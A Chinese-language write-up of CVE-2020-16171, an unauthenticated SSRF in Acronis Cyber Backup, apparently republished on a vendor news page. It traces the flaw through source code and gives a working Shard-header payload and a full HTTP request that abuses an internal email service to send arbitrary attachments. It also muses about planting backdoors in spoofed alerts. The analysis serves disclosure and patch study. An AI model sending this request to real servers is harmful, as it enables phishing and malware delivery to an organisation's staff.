您好,登錄后才能下訂單哦!
CVE-2020-16171:Acronis Cyber Backup中的SSRF漏洞分析,針對這個(gè)問題,這篇文章詳細(xì)介紹了相對應(yīng)的分析和解答,希望可以幫助更多想解決這個(gè)問題的小伙伴找到更簡單易行的方法。
寫在前面的話
在這篇文章中,我們將跟大家介紹一個(gè)存在于Acronis Cyber Backup(受影響版本為v12.5 Build 16341及其之前版本)中的未經(jīng)認(rèn)證的SSRF漏洞,該漏洞將允許攻擊者利用綁定到localhost的Web服務(wù)來向任意目標(biāo)用戶發(fā)送自定義的電子郵件。這個(gè)漏洞的有趣之處就在于,攻擊者將能夠利用該漏洞將自定義的電子郵件作為備份標(biāo)識(shí)符來發(fā)送,其中也能包含完全自定義的附件。大家可以想象一下,如果我們能夠向整個(gè)組織發(fā)送一個(gè)Acronis“備份失敗”的郵件,并在其中嵌入一個(gè)后門,會(huì)發(fā)生什么?
Acronis Cyber Backup本質(zhì)上是一個(gè)數(shù)據(jù)備份解決方案,它可以為系統(tǒng)管理員提供一種強(qiáng)大的方法來自動(dòng)備份所有接入的系統(tǒng),比如說客戶端以及服務(wù)器等等。解決方案本身就由數(shù)十個(gè)內(nèi)部連接的Web服務(wù)以及功能組件組成。因此,這個(gè)解決方案本質(zhì)上就是一個(gè)由不同C/C++、Go和Python應(yīng)用程序以及代碼庫組成的解決方案。
應(yīng)用程序的主Web服務(wù)運(yùn)行在端口9877上,運(yùn)行之后將顯示一個(gè)登錄界面:
毫無疑問,每一個(gè)攻擊者的目標(biāo)都是想要去找到一些在未經(jīng)身份認(rèn)證的情況下就能發(fā)現(xiàn)的敏感數(shù)據(jù)。因此,我們需要對主Web服務(wù)的源碼進(jìn)行分析。實(shí)際上,我在短時(shí)間內(nèi)就發(fā)現(xiàn)了一個(gè)名叫make_request_to_ams的方法:
# WebServer/wcs/web/temp_ams_proxy.py: def make_request_to_ams(resource, method, data=None): port = config.CONFIG.get('default_ams_port', '9892') uri = 'http://{}:{}{}'.format(get_ams_address(request.headers), port, resource) [...]
這里最有意思的就是這個(gè)針對get_ams_address(request.headers)的調(diào)用,它主要用來構(gòu)建URI。在這里,應(yīng)用程序?qū)⒆x取該方法中一個(gè)名叫Shard的特定請求Header:
def get_ams_address(headers): if 'Shard' in headers: logging.debug('Get_ams_address address from shard ams_host=%s', headers.get('Shard')) return headers.get('Shard') # Mobile agent >= ABC5.0
深入分析make_request_to_ams調(diào)用后,我們發(fā)現(xiàn)應(yīng)用程序會(huì)調(diào)用urllib.request.urlopen并讀取Shard頭中的值:
def make_request_to_ams(resource, method, data=None): [...] logging.debug('Making request to AMS %s %s', method, uri) headers = dict(request.headers) del headers['Content-Length'] if not data is None: headers['Content-Type'] = 'application/json' req = urllib.request.Request(uri, headers=headers, method=method, data=data) resp = None try: resp = urllib.request.urlopen(req, timeout=wcs.web.session.DEFAULT_REQUEST_TIMEOUT) except Exception as e: logging.error('Cannot access ams {} {}, error: {}'.format(method, resource, e)) return resp
這樣看來,這很明顯就是一個(gè)SSRF漏洞了,而且這里還有幾個(gè)因素讓這個(gè)SSRF漏洞變得更加嚴(yán)重:
request.Request類的初始化使用的全部都是原始的請求Header,請求中的HTTP方法,以及整個(gè)請求主體。
將返回完整的響應(yīng)信息。
在這里,唯一需要繞過的就是目的URI的硬編碼構(gòu)造了,因?yàn)锳PI會(huì)向請求的URI附加分號(hào)、端口和其他資源:
uri = 'http://{}:{}{}'.format(get_ams_address(request.headers), port, resource)
不過別擔(dān)心,這個(gè)很容易繞過,因?yàn)槲覀冎恍枰砑右粋€(gè)“?”來將它們轉(zhuǎn)換為參數(shù)即可。最終針對Shard頭的Payload如下:
Shard: localhost?
為了利用這個(gè)SSRF漏洞,我們需要找到一個(gè)可以在未經(jīng)認(rèn)證的情況下訪問的路徑。雖然CyberBackup的大多數(shù)路徑都只能通過身份驗(yàn)證才能訪問,但這里有一個(gè)有趣的路徑是/api/ams/agents,它就有點(diǎn)不一樣了:
# WebServer/wcs/web/temp_ams_proxy.py: _AMS_ADD_DEVICES_ROUTES = [ (['POST'], '/api/ams/agents'), ] + AMS_PUBLIC_ROUTES
針對這個(gè)路徑的所有請求都將被傳遞給route_add_devices_request_to_ams方法:
def setup_ams_routes(app): [...] for methods, uri, *dummy in _AMS_ADD_DEVICES_ROUTES: app.add_url_rule(uri, methods=methods, view_func=_route_add_devices_request_to_ams) [...]
這樣一來,程序?qū)⒅粫?huì)在將請求傳遞給存在漏洞的_route_the_request_to_ams方法之前檢查
allow_add_devices configuration是否已啟用: def _route_add_devices_request_to_ams(*dummy_args, **dummy_kwargs): if not config.CONFIG.get('allow_add_devices', True): raise exceptions.operation_forbidden_error('Add devices') return _route_the_request_to_ams(*dummy_args, **dummy_kwargs)
這樣,我們就成功找到了一個(gè)未經(jīng)認(rèn)證的可攻擊路徑了。
其中一個(gè)有意思的Web服務(wù)運(yùn)行在localhost:30572上,即通知服務(wù)。這個(gè)服務(wù)能夠提供各種方法來發(fā)送通知,其中一個(gè)節(jié)點(diǎn)就是/external_email/:
@route(r'^/external_email/?') class ExternalEmailHandler(RESTHandler): @schematic_request(input=ExternalEmailValidator(), deserialize=True) async def post(self): try: error = await send_external_email( self.json['tenantId'], self.json['eventLevel'], self.json['template'], self.json['parameters'], self.json.get('images', {}), self.json.get('attachments', {}), self.json.get('mainRecipients', []), self.json.get('additionalRecipients', []) ) if error: raise HTTPError(http.BAD_REQUEST, reason=error.replace('\n', '')) except RuntimeError as e: raise HTTPError(http.BAD_REQUEST, reason=str(e))
這里我們就不去詳細(xì)分析send_external_email方法了,因?yàn)樗_實(shí)有點(diǎn)復(fù)雜,但是這個(gè)節(jié)點(diǎn)使用的參數(shù)是通過HTTP POST方法來提供的,并使用這些內(nèi)容來構(gòu)建之后需要發(fā)送的電子郵件。
POST /api/ams/agents HTTP/1.1 Host: 10.211.55.10:9877 Shard: localhost:30572/external_email? Connection: close Content-Length: 719 Content-Type: application/json;charset=UTF-8 {"tenantId":"00000000-0000-0000-0000-000000000000", "template":"true_image_backup", "parameters":{ "what_to_backup":"what_to_backup", "duration":2, "timezone":1, "start_time":1, "finish_time":1, "backup_size":1, "quota_servers":1, "usage_vms":1, "quota_vms":1,"subject_status":"subject_status", "machine_name":"machine_name", "plan_name":"plan_name", "subject_hierarchy_name":"subject_hierarchy_name", "subject_login":"subject_login", "ams_machine_name":"ams_machine_name", "machine_name":"machine_name", "status":"status","support_url":"support_url" }, "images":{"test":"./critical-alert.png"}, "attachments":{"test.html":"PHU+U29tZSBtb3JlIGZ1biBoZXJlPC91Pg=="}, "mainRecipients":["info@somerandomemail.com"]}
其中包含了針對電子郵件的自定義配置,比如Base64編碼的attachments值。發(fā)送這個(gè)POST請求將返回null:
但是最終將包含了attachments的郵件發(fā)送給mainRecipients之后,界面如下:
這就成功啦!
Acronis在Acronis Cyber Backup v12.5 Build 16342版本中修復(fù)了這個(gè)漏洞,Acronis修改了get_ams_address獲取實(shí)際Shard地址的方式,現(xiàn)在將需要額外的認(rèn)證Header(帶有JWT,傳遞給一個(gè)名為resolve_shard_address的方法)才可以訪問獲取。
# WebServer/wcs/web/temp_ams_proxy.py: def get_ams_address(headers): if config.is_msp_environment(): auth = headers.get('Authorization') _bearer_prefix = 'bearer ' _bearer_prefix_len = len(_bearer_prefix) jwt = auth[_bearer_prefix_len:] tenant_id = headers.get('X-Apigw-Tenant-Id') logging.info('GET_AMS: tenant_id: {}, jwt: {}'.format(tenant_id, jwt)) if tenant_id and jwt: return wcs.web.session.resolve_shard_address(jwt, tenant_id)
tenant_id和jwt的值在這里沒有進(jìn)行顯式驗(yàn)證,但它們會(huì)在一個(gè)針對API節(jié)點(diǎn)/api/account_server/tenants/的新硬編碼調(diào)用時(shí)被使用,并完成最終的授權(quán)驗(yàn)證:
# WebServer/wcs/web/session.py: def resolve_shard_address(jwt, tenant_id): backup_account_server = config.CONFIG['default_backup_account_server'] url = '{}/api/account_server/tenants/{}'.format(backup_account_server, tenant_id) headers = { 'Authorization': 'Bearer {}'.format(jwt) } from wcs.web.proxy import make_request result = make_request(url, logging.getLogger(), method='GET', headers=headers).json() kind = result['kind'] if kind not in ['unit', 'customer']: raise exceptions.unsupported_tenant_kind(kind) return result['ams_shard']
關(guān)于CVE-2020-16171:Acronis Cyber Backup中的SSRF漏洞分析問題的解答就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,如果你還有很多疑惑沒有解開,可以關(guān)注億速云行業(yè)資訊頻道了解更多相關(guān)知識(shí)。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。